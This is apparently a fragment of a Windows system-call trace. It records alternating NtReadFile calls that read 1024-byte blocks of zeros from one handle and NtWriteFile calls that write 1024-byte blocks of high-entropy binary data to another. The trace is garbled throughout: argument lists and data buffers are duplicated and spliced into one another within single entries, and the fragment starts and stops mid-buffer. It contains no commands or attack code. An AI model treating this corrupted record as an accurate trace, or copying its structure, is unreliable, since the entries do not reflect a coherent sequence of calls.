6\365m\16\13\331\266\206\251(\250(M\220\371\374\220\223O\206Q\231\357\314\353\233\21\306\354>MRr\330\317\31\240w\27N#l\302\6}\372\36\2\272\243\306\15K\306\353\234~E\363cE\313j\231\274f@'tf\315\227\300\371\304\365\17\351\241\333\363\327\334L7\325D\332\317\304(p\226_\322V~\301Rj\207\20\235B\242\247\214\11\323*\34\14\26M%#\33\256\203\31\11Knfk7S\307\371.\15\224rO\327\237\27H\206\13\12\215\13\327\17\264\353\367\236\14\240\213\225G\222\240\356N\37\361\360N\3674\3179\3261\355\253\322\264\33\240\256\302W"|X\5Cy^BI!T\263\0\340/\204\243\13\33\333\300*{\321\22\360D\345[", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) |X\5Cy^BI!T\263\0\340/\204\243\13\33\333\300*{\321\22\360D\345[", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01444  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", ) , ) == 0x0
 01445  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\236\333\244OS\314\253\15Pz\2\241\22\204\376\305e\307\355\36\311\274\331Q^\330\\3|w%a\316'\301\273NL_\323\255\233\211\215\221\323\204\362}T!\223\273\230\22\226P\365\324#\227N\373\363\7w\4\342\320\2448\207\17\241LAV\31Ug\\33\217\344\24\274\362\334\320\215]\207\2468\36\201\230\375\214\24\323n\273\352\216\351HM\330(J\317#\363\202x\331x$\23\334\215r\366\264\73\273d~x\352\213h\360\345%V\270\333W\366\13r^&\343\232'\32\320\2\264\303\320.\37\364\10\352*\305\302\310\322il\240\22ME\30\204Y\252\206\231\306a\3F\212"\371\3\238k+o\311\376\1\365\0N\307\223'p\341\22c\252\213\261d\3\35A\16\2474$o\227Ihx\30\13D\340\222\24\204\26|\305F#\304"5C\202wat\27\374%.;r\275Y\215Z\10\376VD\232F\356\252_\257\324\6\261\231\25\317\373:\262%\2261^\237\203\58K6\305\317F'P\373\212\2\352\251\323\3304\17\375(\276\221\17c\310\270\256\306\237\0\234\305\210\216-\253{]\23LZl\366\250A\235\34\372\255\324\246\26{\250L\203\271\370\177]\30f\254\330l\373y\2108\367\361R\203\204\204Y~\306r\357C\375\323O"\313\256\274q1\334\16m\253|M\204\237\26\361\345\14\177i\13\4\325\255;\3356\215\27?\240\206U\7:\355\357P\311\344\345&"P\335\337\316.\17\311\331hW\316\237\315\200k\216\232\300\217d\2076\334\247\316)>@\1\370\355\4UQ\273=i\206!?:\257\302\344:\253maG\206\2\200p\316\0X\3505t\2604\2272\316\362)\270\221_pX\217\315\222\263l\356\276\317\2W\341\3068\177\337\325\304\0\356bS\242\16\231\330", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \371\3\238k+o\311\376\1\365\0N\307\223'p\341\22c\252\213\261d\3\35A\16\2474$o\227Ihx\30\13D\340\222\24\204\26|\305F#\304 (92, 0, 0, 0, "\236\333\244OS\314\253\15Pz\2\241\22\204\376\305e\307\355\36\311\274\331Q^\330\\3|w%a\316'\301\273NL_\323\255\233\211\215\221\323\204\362}T!\223\273\230\22\226P\365\324#\227N\373\363\7w\4\342\320\2448\207\17\241LAV\31Ug\\33\217\344\24\274\362\334\320\215]\207\2468\36\201\230\375\214\24\323n\273\352\216\351HM\330(J\317#\363\202x\331x$\23\334\215r\366\264\73\273d~x\352\213h\360\345%V\270\333W\366\13r^&\343\232'\32\320\2\264\303\320.\37\364\10\352*\305\302\310\322il\240\22ME\30\204Y\252\206\231\306a\3F\212"\371\3\238k+o\311\376\1\365\0N\307\223'p\341\22c\252\213\261d\3\35A\16\2474$o\227Ihx\30\13D\340\222\24\204\26|\305F#\304"5C\202wat\27\374%.;r\275Y\215Z\10\376VD\232F\356\252_\257\324\6\261\231\25\317\373:\262%\2261^\237\203\58K6\305\317F'P\373\212\2\352\251\323\3304\17\375(\276\221\17c\310\270\256\306\237\0\234\305\210\216-\253{]\23LZl\366\250A\235\34\372\255\324\246\26{\250L\203\271\370\177]\30f\254\330l\373y\2108\367\361R\203\204\204Y~\306r\357C\375\323O"\313\256\274q1\334\16m\253|M\204\237\26\361\345\14\177i\13\4\325\255;\3356\215\27?\240\206U\7:\355\357P\311\344\345&"P\335\337\316.\17\311\331hW\316\237\315\200k\216\232\300\217d\2076\334\247\316)>@\1\370\355\4UQ\273=i\206!?:\257\302\344:\253maG\206\2\200p\316\0X\3505t\2604\2272\316\362)\270\221_pX\217\315\222\263l\356\276\317\2W\341\3068\177\337\325\304\0\356bS\242\16\231\330", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \313\256\274q1\334\16m\253|M\204\237\26\361\345\14\177i\13\4\325\255;\3356\215\27?\240\206U\7:\355\357P\311\344\345& (92, 0, 0, 0, "\236\333\244OS\314\253\15Pz\2\241\22\204\376\305e\307\355\36\311\274\331Q^\330\\3|w%a\316'\301\273NL_\323\255\233\211\215\221\323\204\362}T!\223\273\230\22\226P\365\324#\227N\373\363\7w\4\342\320\2448\207\17\241LAV\31Ug\\33\217\344\24\274\362\334\320\215]\207\2468\36\201\230\375\214\24\323n\273\352\216\351HM\330(J\317#\363\202x\331x$\23\334\215r\366\264\73\273d~x\352\213h\360\345%V\270\333W\366\13r^&\343\232'\32\320\2\264\303\320.\37\364\10\352*\305\302\310\322il\240\22ME\30\204Y\252\206\231\306a\3F\212"\371\3\238k+o\311\376\1\365\0N\307\223'p\341\22c\252\213\261d\3\35A\16\2474$o\227Ihx\30\13D\340\222\24\204\26|\305F#\304"5C\202wat\27\374%.;r\275Y\215Z\10\376VD\232F\356\252_\257\324\6\261\231\25\317\373:\262%\2261^\237\203\58K6\305\317F'P\373\212\2\352\251\323\3304\17\375(\276\221\17c\310\270\256\306\237\0\234\305\210\216-\253{]\23LZl\366\250A\235\34\372\255\324\246\26{\250L\203\271\370\177]\30f\254\330l\373y\2108\367\361R\203\204\204Y~\306r\357C\375\323O"\313\256\274q1\334\16m\253|M\204\237\26\361\345\14\177i\13\4\325\255;\3356\215\27?\240\206U\7:\355\357P\311\344\345&"P\335\337\316.\17\311\331hW\316\237\315\200k\216\232\300\217d\2076\334\247\316)>@\1\370\355\4UQ\273=i\206!?:\257\302\344:\253maG\206\2\200p\316\0X\3505t\2604\2272\316\362)\270\221_pX\217\315\222\263l\356\276\317\2W\341\3068\177\337\325\304\0\356bS\242\16\231\330", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01446  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", ) , ) == 0x0
 01447  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\265\372u\316\7\211\207\227\313\366*\274\354\224]\261;\236\3059\235\2652\312r=\20\277\16o\274B\236!\324\321*\325\27NH\365\313\2508\6'w\177:-\255\311\241HZcye\306f\354=\250\254\316\305\305P\15\315)\343x=#\357>(\324\215\347\250\323\\314\303\14(\367!o\326P1\276\362\304\346\312\17n\314p\215\23{\233\2623t\353[[\0\207e\6\274K\240\366\26\201\330_\316\2115KI\305\337/\232\334\265\10\313\35>\4\342!\256\201\215\314\224ZV\305\22\12\254\365I\356\177\321XUy\201\377\315\3{\250\334\344\266V\323\351\2212\16\377\243\370\244\240\344\271\352\20\6\253\306f\306r\240\327\355\306\353\267X\20\361\241\205\25\37\346\373\213\227/\257H\313avW\241\240x\33}8muF\212\321\16\276\304\225\374\321\265|{\323\303\6\375\17\333]\332s\207\302*W\323\315\357\205\343\13\231\251\330\252\276g\203/\341\302zU\376,\241owX5M\252\266\251=\4\374y\4\375\376\341\245\235-\37u\337\244]\330d\225\23\201\373\2563\364\222\1\2770\244\275|\30\344\314\322j@\35#x\270\263g)\24\353\375h/2U\202i\23]\361\211k&\363B\6\202\257\242\224>\306T9\36\2744\4\341M\337\365\232\374\31\345\205L\214.7e\333\22s?\6\250\23\320\234T$\244\362'\236B\223\12\375\36}5U/\266\314\4[\6\203\0\23B\33\11^\311\324zG\35#1\20\245I\245\223\210\256\245\225@\373\341\360\207q\2520\31\323z\371\360\207\371A\326B\203qY\317\373\233}\36l E\37\337\305\367\327.\231%\235\220\241\273\220\222\236\27\266%@\17\232!\202\375\236D\255\246\275\356\261\237\300\313Bd@\242?%\206!\344\210Uu0\304\345", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01448  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", ) , ) == 0x0
 01449  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\273\263\250\354\273\22J\3108c\365\234\265\320<\237\210\275\371\22\331#\347\27A\361%\01\253\3\205K\5\240\22\256r\3143\372\25\366\216\330\236;\264\352Q\270`\15E\341\2\207\223\330\217\\376\27\371\207\35 \35E\266\371\363@\2304\371ZXo\302\200\364p6,\37\316\274\355\222hb\306\224}J`\25\267\31Pa\216\313\302+\341\224?\252\204\363Yq\356Z0\250p\357>(tAo\371\202\377K\177\325\253$\15q(\250'\310.M\2373Y8sF\305\266\305\321@\301\16a\327\254}\306.\31=\10?\251f\246\337\255\353Z\300\144_j\320\257%f\251\350\314D\277c\360PdT\322\256\301/a\376\364\360\247+k(N\153\230y\237\361\22;\366\\4O\3512\241_,\36\342\343\277\372*^%."a\207\204s\223\244S\30\212\364\317\0\58\221?,\250\327VN/\356\2047\205\250\6\230\276\333\2403\12\2417\10\231.*D\15\275\232A\307\7\236\26-t\270\311\265Vr0\335\\213\303\262dk\0_/y\307\6\261\207\362\12\341\271\202\301\35\278yr\216\213Ps&\370\36\30515\3717~\360]\341\315\32o\340\200\35\277|\277\350\203\245\4)\203\17R\240@q\211\177+\253\377\37y\21\337\330\366(u\254\244c\205\322Y[\200P\230\16\311q{\261\232D\320\374\12ecZ\13\2\376\255($\265w\3364\203HD\315\316\272J*\240\373n\226*\232=\274\251\211k\326\220\331\231w\2035\277\243\326z\275\330\352\252\34o\324\20", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) a\207\204s\223\244S\30\212\364\317\0\58\221?,\250\327VN/\356\2047\205\250\6\230\276\333\2403\12\2417\10\231.*D\15\275\232A\307\7\236\26-t\270\311\265Vr0\335\\213\303\262dk\0_/y\307\6\261\207\362\12\341\271\202\301\35\278yr\216\213Ps&\370\36\30515\3717~\360]\341\315\32o\340\200\35\277|\277\350\203\245\4)\203\17R\240@q\211\177+\253\377\37y\21\337\330\366(u\254\244c\205\322Y[\200P\230\16\311q{\261\232D\320\374\12ecZ\13\2\376\255($\265w\3364\203HD\315\316\272J*\240\373n\226*\232=\274\251\211k\326\220\331\231w\2035\277\243\326z\275\330\352\252\34o\324\20", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01450  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", ) , ) == 0x0
 01451  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "]2\335j\3|\215\341\225\3\254\262\313V-O7\321\275\345\206\221\301c\277\22442z\312?\261$?\257\357[N\27\325\360\300=\312z\33\17\254\345;\331\261\230\366\322\355\304\332\321L\217\5W\333\313\253\302&j;*\3224,\340\373\21\353\204\225\272Q\320$\200\357\327\317{*#]s\221\315\31\220N\331\227Jjm\204\273\202T\374\244\21x\221\200\4C\346\223J\225&\325\247"Krb\301\270Z\272\215\347\251\340{R\266d\7\6\304a\340\223\203%\7\13]\344\200\216\231*\213\13;\22c\16\2320\300\3722\203\267%iL\2661Wae\342\213\342\4\375,w{\365\222\223S\230\222\270\275\10\336x\266\24\206\364;Ykg\241\341\326\16\324\311\330\355\257\364$\26^\252\264\242\372\3559\233\227\310\20\223\364\311F\23m\227<\24\365\242#\345P\17\21\343QW!\177\351\333\235\226T\232;\233U\211cmfk\5\331rNU\301q\4\242\235\6\301\236Mx?\245\373\300\327\33\3423\234\226\271IT\322\365\361\347\27\325.m!hV\370.\272\246,\354\351\340\243\341\33\245\243\355\356\326\21e\330\1UQ\4\363\225A\347\223\247\2724[\334\25\267;;2\327\330\10)\21q$\215\355f\371\224f\1b4k\212L\17\31\331\1\5\267\177\246\335\24\325\274\33\317\200\330\346}7\216\207\321\265\345\21\10\213F:>xi\3\270\262z\13\3004\217\272,NX\344:\352\177yk\271F\235&\227\312\270w\36`N\226Q\6\11\14\252\353\301Ch-\\2\266\13dwE\347\327g\352^\341-@\204\305Q"q\223\210\2127Q\232\355c\222\350h\325\322\3*\355\14\26r\310A?\267q\241\347w\211D"\320\3057\363\357i\257\240x\275\210\3731<\17}\212\263\240F\210", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) Krb\301\270Z\272\215\347\251\340{R\266d\7\6\304a\340\223\203%\7\13]\344\200\216\231*\213\13;\22c\16\2320\300\3722\203\267%iL\2661Wae\342\213\342\4\375,w{\365\222\223S\230\222\270\275\10\336x\266\24\206\364;Ykg\241\341\326\16\324\311\330\355\257\364$\26^\252\264\242\372\3559\233\227\310\20\223\364\311F\23m\227<\24\365\242#\345P\17\21\343QW!\177\351\333\235\226T\232;\233U\211cmfk\5\331rNU\301q\4\242\235\6\301\236Mx?\245\373\300\327\33\3423\234\226\271IT\322\365\361\347\27\325.m!hV\370.\272\246,\354\351\340\243\341\33\245\243\355\356\326\21e\330\1UQ\4\363\225A\347\223\247\2724[\334\25\267;;2\327\330\10)\21q$\215\355f\371\224f\1b4k\212L\17\31\331\1\5\267\177\246\335\24\325\274\33\317\200\330\346}7\216\207\321\265\345\21\10\213F:>xi\3\270\262z\13\3004\217\272,NX\344:\352\177yk\271F\235&\227\312\270w\36`N\226Q\6\11\14\252\353\301Ch-\\2\266\13dwE\347\327g\352^\341-@\204\305Q (92, 0, 0, 0, "]2\335j\3|\215\341\225\3\254\262\313V-O7\321\275\345\206\221\301c\277\22442z\312?\261$?\257\357[N\27\325\360\300=\312z\33\17\254\345;\331\261\230\366\322\355\304\332\321L\217\5W\333\313\253\302&j;*\3224,\340\373\21\353\204\225\272Q\320$\200\357\327\317{*#]s\221\315\31\220N\331\227Jjm\204\273\202T\374\244\21x\221\200\4C\346\223J\225&\325\247"Krb\301\270Z\272\215\347\251\340{R\266d\7\6\304a\340\223\203%\7\13]\344\200\216\231*\213\13;\22c\16\2320\300\3722\203\267%iL\2661Wae\342\213\342\4\375,w{\365\222\223S\230\222\270\275\10\336x\266\24\206\364;Ykg\241\341\326\16\324\311\330\355\257\364$\26^\252\264\242\372\3559\233\227\310\20\223\364\311F\23m\227<\24\365\242#\345P\17\21\343QW!\177\351\333\235\226T\232;\233U\211cmfk\5\331rNU\301q\4\242\235\6\301\236Mx?\245\373\300\327\33\3423\234\226\271IT\322\365\361\347\27\325.m!hV\370.\272\246,\354\351\340\243\341\33\245\243\355\356\326\21e\330\1UQ\4\363\225A\347\223\247\2724[\334\25\267;;2\327\330\10)\21q$\215\355f\371\224f\1b4k\212L\17\31\331\1\5\267\177\246\335\24\325\274\33\317\200\330\346}7\216\207\321\265\345\21\10\213F:>xi\3\270\262z\13\3004\217\272,NX\344:\352\177yk\271F\235&\227\312\270w\36`N\226Q\6\11\14\252\353\301Ch-\\2\266\13dwE\347\327g\352^\341-@\204\305Q"q\223\210\2127Q\232\355c\222\350h\325\322\3*\355\14\26r\310A?\267q\241\347w\211D"\320\3057\363\357i\257\240x\275\210\3731<\17}\212\263\240F\210", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \320\3057\363\357i\257\240x\275\210\3731<\17}\212\263\240F\210", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01452  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", ) , ) == 0x0
 01453  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "|\307.\325`\2339\266[\10Vy(,\263f\213\314\275,\311g\272\320\342P\232\244\232}\367\222\341\313\355\367\255!\235F\264\365\14\2521\226\252\24\253\10\313\372{\315\232\234)\353\207\21\37o\256\223a&2\242\262\224a\326\326b\250{\320\345x\263\20\362@T\335\320"\25\361\14Y\274\300\5\227\311.\20\220&\223JM\221n\272\273\11Z\200\3406Cx\337H\232L\363}\5\373!\361\302\30\1Ly\217w\34q.\264\377c\17^\22'MB\307g\200\276\34+\306\221\3410\244\324\1\225\245\264'\276\220(\237H(\214\3410\304t\245\356\362\327\241\201sT[\303v|\362\366\323\253\314F\235\316\362&\276>\241q\254\323\374~\362\13\33n\324\240'\5\3\201\241B\311\225\310\253\347=q\360\2028+#\17\255m[!s\367f>\361\232\334Pz\367<\7\322\260\317\1|X\236b\331:\331y\320\337\216JCE\321Y\245#<\355G\267\177\371\277\5\221\371#b\201\343\206\222\7\225Adr\301\271]r\344\331j\272(\7\34\253\372!\244Z*4]\247\323YX)!Ct>2k~\270\25\353W9\320oZ\20\353\337\301\273\312\6\365\207e\256\1\206%N\14\36&\11z|\}\375A&t/B\14\257\341\321Q[\355%\344\276]\241\235\353\352\346:\234\204,\272\313\1\233HL\214Z/\334e`,a*\213d\350\356\257P8c\221\222GW^\303\312}"\263Au\314\375&\227gAs0L\243\310\371\246\301Pc\214\303\3427Mbm"\30x\5V\205\2266\351\364\233\333h\33M:\371>\213\20\324c\25T\205\3\211\264#\353\302*\7\317E\371\307\244\0H,#038\21\252\33\15\5\202\302H\35\13\335\374\243Y\343B\300\4\334;\3153", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \25\361\14Y\274\300\5\227\311.\20\220&\223JM\221n\272\273\11Z\200\3406Cx\337H\232L\363}\5\373!\361\302\30\1Ly\217w\34q.\264\377c\17^\22'MB\307g\200\276\34+\306\221\3410\244\324\1\225\245\264'\276\220(\237H(\214\3410\304t\245\356\362\327\241\201sT[\303v|\362\366\323\253\314F\235\316\362&\276>\241q\254\323\374~\362\13\33n\324\240'\5\3\201\241B\311\225\310\253\347=q\360\2028+#\17\255m[!s\367f>\361\232\334Pz\367<\7\322\260\317\1|X\236b\331:\331y\320\337\216JCE\321Y\245#<\355G\267\177\371\277\5\221\371#b\201\343\206\222\7\225Adr\301\271]r\344\331j\272(\7\34\253\372!\244Z*4]\247\323YX)!Ct>2k~\270\25\353W9\320oZ\20\353\337\301\273\312\6\365\207e\256\1\206%N\14\36&\11z|\}\375A&t/B\14\257\341\321Q[\355%\344\276]\241\235\353\352\346:\234\204,\272\313\1\233HL\214Z/\334e`,a*\213d\350\356\257P8c\221\222GW^\303\312} (92, 0, 0, 0, "|\307.\325`\2339\266[\10Vy(,\263f\213\314\275,\311g\272\320\342P\232\244\232}\367\222\341\313\355\367\255!\235F\264\365\14\2521\226\252\24\253\10\313\372{\315\232\234)\353\207\21\37o\256\223a&2\242\262\224a\326\326b\250{\320\345x\263\20\362@T\335\320"\25\361\14Y\274\300\5\227\311.\20\220&\223JM\221n\272\273\11Z\200\3406Cx\337H\232L\363}\5\373!\361\302\30\1Ly\217w\34q.\264\377c\17^\22'MB\307g\200\276\34+\306\221\3410\244\324\1\225\245\264'\276\220(\237H(\214\3410\304t\245\356\362\327\241\201sT[\303v|\362\366\323\253\314F\235\316\362&\276>\241q\254\323\374~\362\13\33n\324\240'\5\3\201\241B\311\225\310\253\347=q\360\2028+#\17\255m[!s\367f>\361\232\334Pz\367<\7\322\260\317\1|X